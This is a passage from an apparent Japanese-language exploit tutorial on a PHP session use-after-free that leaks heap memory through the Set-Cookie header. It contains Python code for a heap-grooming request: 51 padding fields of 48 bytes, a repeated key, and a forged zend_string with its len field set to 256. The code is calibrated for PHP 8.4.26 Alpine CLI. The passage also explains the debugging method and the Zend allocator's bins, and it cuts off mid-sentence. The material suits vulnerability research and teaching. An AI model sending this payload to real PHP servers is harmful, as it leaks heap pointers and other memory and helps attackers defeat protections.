攻撃者はリクエスト #2 で送信されるデータを制御するため、このメモリ位置を埋める生のバイトを制御します。これは、前の C++ 例の「他のオブジェクトのデータを変更する」という概念に直接対応します。慎重に構造化されたペイロードを送信することにより、攻撃者は zend_string の len フィールドがあるべき場所を大きな数値で上書きします。PHP のスタールポインタはまだ有効な内部データを指していると考えています。しかし、クッキーを構築しようとすると、攻撃者の偽のバイトを正当な zend_string として扱い、破損した len フィールドを信頼します。そのため、通常のセッション ID の32バイトではなく、256バイトを読み取り、隣接するメモリにあるものすべてを収集します。内部ポインタ、ヒープメタデータ、他の構造体の断片。すべてが直接 Set-Cookie ヘッダーにダンプされ、攻撃者に送信されます。
それがリークチャネルです。では、攻撃者が偽のデータを正確に配置する方法を見てみましょう(楽しい部分です)。
ヒープグルーミングの実践:偽のデータが正確に目的の場所に配置される方法
偽のデータの配置は、実際にはどのように行われるのでしょうか? まず... それはビルド固有です。したがって、これから示すことは PHP 8.4.26 Alpine CLI でのみ機能します。しかし、最後までお付き合いください。なぜビルド固有なのか、そして他のビルドで正しい数値を見つける方法を一緒に理解します。
PHP リクエスト #2 の Python コードを見てみましょう。
# 1. セッション ID "a"、NULL ではない。既存のスタールセッションを希望しており、
# 新しいものではない。スタールポインタはリクエスト #1 から既に設定されている。
fields = [mp_field(bnd, b"PHPSESSID", b"a"),
mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", b"pwn")]
# 2. 51個のパディングフィールドが解放されたヒープメモリを再利用する
# キー 1000-1050、各値は正確に48バイト
for i in range(51):
value = (f"v{i:04d}".encode() + b"x" * 48)[:48]
fields.append(mp_field(bnd, str(1000 + i).encode(), value))
# 3. キー 1050 の繰り返しが割り当てパターンを変更する
fields.append(mp_field(bnd, b"1050", b"Z" * 128))
# 4. 偽の値をスタール zend_string ヘッダーで上書きする
# 79 バイトを細工して、次のようになるようにする:
# オフセット 0x10: 長さフィールド = 256 (リトルエンディアン u64)
# オフセット 0x18: 最初のバイト = 'L' (0x4C)
forged = bytearray(b"A" * 79)
struct.pack_into("<Q", forged, 0x10, 256) # len = 256 <--- これが話した len フィールドです
forged[0x18] = ord("L")
fields.append(mp_field(bnd, b"1999", bytes(forged)))
この時点で、多くの質問があるかもしれません... なぜ正確に51個なのか? なぜ繰り返しキーでより大きな値を持つものを送信するのか? なぜスタールポインタと同じサイズの偽の構造体で、アロケータにそこにドロップさせるだけではダメなのか?
ヤァ、ノー... それは少し複雑です(少しと言っても、かなりです)。
さて、ここで非常に複雑で難しいことを説明したいと思います。しかし、インターネット上のほとんどのリソースが行っていること、つまり、これらの数値は特定の PHP ビルドのキャリブレーションにすぎず、魔法の数値として受け入れてください、ということはしたくありません。いいえ。ここでは、PHP 8.4.26 Alpine CLI の例として、これらのキャリブレーションがメモリをどのように変更して目的を達成するかを示し、その後、各数値の背後にあるロジックを理解します。
調査方法
数値に入る前に... それらをどのように観察したかをお見せします。ヒープの理解はドキュメントを読むことではできません。それはメモリを見つめて、それが理解できるようになるまで(または気が狂うまで)行うことです。
ターゲット PHP ビルドを持つ Docker コンテナ内で gdbserver を実行しました。ホストでは、Ghidra の Debugger が GDB リモート経由で接続し、メモリを検査できるようにしました。これにより、zend_mm_alloc、zend_mm_free、php_session_save_current_state... にブレークポイントを設定し、すべての割り当てと解放を監視できました。
また、コンテナ内で GDB をバッチモードで使用して、PS(id) 周囲の 8 KB のヒープメモリを4つの重要な瞬間に自動的にダンプしました。ベースライン、パディング後、リサイズ後、偽のペイロードが配置された後です。各ダンプは、ページ中心の2つのフルページをカバーしているため、近隣で何が起こっているかを正確に確認できます。
Ghidra のスクリーンショットでこれらすべてを示すには多くの画像が必要になるため、代わりにインタラクティブな視覚化 Web サイトを構築するためにこれらのダンプを使用しました。これにより、各ステップでの PS(id) 周囲の完全なメモリチャンクが表示され、どのバイトが変更されたか、どのスロットが解放されたか、偽のデータがどこに着地したかを正確に確認できます。
すべての生のヒープダンプは、GitHub リポジトリ内の dumps/ フォルダで利用可能です。それらを Ghidra または任意のヘックスエディタにロードして、視覚化に表示される PS(id) のベースアドレス(ASLR のため実行ごとに変更されますが、オフセットは同じです)でロードできます。
GitHub リポジトリ内の heap_memory_map.html ファイルを確認してください。
OK、では実際のヒープ内部構造に入りましょう。
ビンとフリーリスト
51 という数字の理由を理解するには、まず Zend メモリアロケータが解放されたメモリをどのように整理するかを理解する必要があります。
アロケータは、すべての解放されたメモリを1つの乱雑な山に投げ込むだけではありません。それは、サイズに基づいて厳密に異なるリンクリスト(ビンまたはフリーリストと呼ばれる)に解放されたチャンクを整理します。アロケータには、8 バイトチャンク用のビン、16 バイトチャンク用のビン、32 バイトチャンク用のビンなどがあります... 合計約30個のビンがあり、それぞれが特定のサイズクラスに対応しています。
アロケータの内部フリーリスト(ビン):
ビン 0 ( 8B) → NULL
ビン 1 ( 16B) → NULL
ビン 2 ( 24B) → NULL
ビン 3 ( 32B) → [ 0xAABB0040 ] → [ 0xAABB0060 ] → [ 0xAABB0080 ] →NULL
...
ビン 7 ( 64B) → [ 0xAABB0100 ] → NULL
ビン 8 ( 80B) → NULL
...
ビン 10 (112B) → NULL
...
ビン 12 (160B) → NULL
...
ビン 29 (3072B) → NULL
したがって、48 バイトを割り当てたい場合、アロケータは48 バイトビンをチェックし、「48 バイトが必要ですか? 完璧です、ここに48 バイトチャンクがあります。」と言います。そして、それは古い解放されたチャンクの代わりに割り当てられます。48 バイトチャンクを解放すると、それはそのビンに戻り、別の割り当てによって取得されるのを待ちます。
OK? スタールポインタについて考えてみましょう。それは解放されましたよね? そのメモリは、そのサイズの対応するビンの中にあります。それはセッション ID を保持する zend_string で、約32文字でした。上記の zend_string 構造体で見たように、すべての文字列には 24 バイトのヘッダー(gc + hash + len)と文字列の内容、そして NULL 終端子があります。
zend_string サイズ = 24 + strlen + 1
スタールポインタ(約32文字)の場合:24 + 32 + 1 = 57 バイト → 64B に丸められる → Bin 7
したがって、スタールポインタの解放されたメモリは、ビン 7 のフリーリスト(64 バイトスロット)にあります。
[画像:フェーズ 1] > OOM トリガー。 GDB が _zend_bailout() を PS(id) = 0x7f08e1874000、len = 32、セッション ID `